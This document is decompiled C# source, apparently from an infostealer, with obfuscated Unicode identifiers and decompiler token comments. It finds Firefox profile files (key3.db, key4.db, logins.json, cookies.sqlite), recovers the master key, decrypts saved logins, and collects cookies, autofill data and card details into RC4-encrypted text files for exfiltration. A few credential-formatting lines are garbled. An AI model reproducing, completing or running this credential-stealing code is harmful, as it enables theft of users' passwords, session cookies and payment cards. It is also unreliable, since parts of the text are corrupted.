// Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
private static byte[] GetPrivate3Key(string file)
{
byte[] array = new byte[24];
try
{
if (!File.Exists(file))
{
return(array);
}
new DataTable();
Class_70 berkeleyDB = new Class_70(file);
Class_72 class_ = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
string hexString = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
Class_71 class_2 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
class_2.smethod_230();
Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
class_4.smethod_230();
Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
{
Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
}
else
{
array = class_5.prop_3[0].prop_3[3].prop_1;
}
}
catch
{
}
return(array);
}
// Token: 0x060001D4 RID: 468 RVA: 0x0000F890 File Offset: 0x0000DA90
public static List <Class_65> ParseBrowsers()
{
List <Class_65> list = new List <Class_65>();
try
{
List <string> list2 = new List <string>();
list2.AddRange(Class_69.FindPaths(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, 4, 1, new string[]
{
"key3.db",
"key4.db",
"cookies.sqlite",
"logins.json"
}));
list2.AddRange(Class_69.FindPaths(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold, 4, 1, new string[]
{
"key3.db",
"key4.db",
"cookies.sqlite",
"logins.json"
}));
foreach (string text in list2)
{
string fullName = new FileInfo(text).Directory.FullName;
string text2 = text.Contains(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold) ? Class_78.GetRoamingName(fullName) : Class_78.GetLocalName(fullName);
if (!string.IsNullOrEmpty(text2))
{
Class_65 class_ = new Class_65
{
prop_0 = text2,
prop_1 = new DirectoryInfo(fullName).Name,
prop_5 = new List <Class_66>(Class_78.ParseCookies(fullName)).IsNull <List <Class_66> >(),
prop_2 = new List <Class_68>(Class_78.GetCredentials(fullName).IsNull <List <Class_68> >()).IsNull <List <Class_68> >(),
prop_3 = new List <Class_64>(),
prop_4 = new List <Class_67>()
};
if (class_.prop_5.Count((Class_66 x) => x.IsNotNull <Class_66>()) <= 0)
{
if (class_.prop_2.Count((Class_68 x) => x.IsNotNull <Class_68>()) <= 0)
{
continue;
}
}
list.Add(class_);
}
}
}
catch
{
}
return(list);
}
// Token: 0x060001D5 RID: 469 RVA: 0x0000FAB0 File Offset: 0x0000DCB0
private static List <Class_68> GetCredentials(string profile)
{
List <Class_68> list = new List <Class_68>();
try
{
if (File.Exists(Path.Combine(profile, "key3.db")))
{
list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate3Key(Class_69.CreateTempCopy(Path.Combine(profile, "key3.db")))));
}
if (File.Exists(Path.Combine(profile, "key4.db")))
{
list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate4Key(Class_69.CreateTempCopy(Path.Combine(profile, "key4.db")))));
}
}
catch
{
}
return(list);
}
// Token: 0x06000125 RID: 293 RVA: 0x0000BC34 File Offset: 0x00009E34
public static void GetGecko()
{
List <Class_65> list = null;
try
{
list = Class_78.ParseBrowsers();
}
catch (Exception value)
{
Console.WriteLine(value);
}
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
if (list != null)
{
foreach (Class_65 class_ in list)
{
foreach (Class_68 class_2 in class_.prop_2)
{
text = text + "URI: " + class_2.prop_0 + Environment.NewLine;
text = text + "Username: "******"Password: "******"Browser: " + class_.prop_0 + Environment.NewLine;
text = text + "Profile: " + class_.prop_1 + Environment.NewLine;
text = text + "===============================" + Environment.NewLine;
}
foreach (Class_64 class_3 in class_.prop_3)
{
text2 = text2 + "Name: " + class_3.prop_0 + Environment.NewLine;
text2 = text2 + "Value: " + class_3.prop_1 + Environment.NewLine;
text2 = text2 + "===============================" + Environment.NewLine;
}
foreach (Class_67 class_4 in class_.prop_4)
{
text3 = text3 + class_4.prop_3 + Environment.NewLine;
text3 = text3 + class_4.prop_0 + Environment.NewLine;
text3 = string.Concat(new string[]
{
text3,
class_4.prop_1.ToString(),
"/",
class_4.prop_2.ToString(),
Environment.NewLine
});
text3 = text3 + "===============================" + Environment.NewLine;
}
foreach (Class_66 class_5 in class_.prop_5)
{
text4 += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[]
{
class_5.prop_0,
class_5.prop_2,
class_5.prop_3,
class_5.prop_4,
class_5.prop_5,
class_5.prop_6
});
}
}
}
if (list != null)
{
list.Clear();
}
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
if (text2 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp + "\\Autofills Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
}
if (text3 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text3)));
}
if (text4 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk + "\\Cookies Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text4)));
}
text = null;
text2 = null;
text3 = null;
text4 = null;
}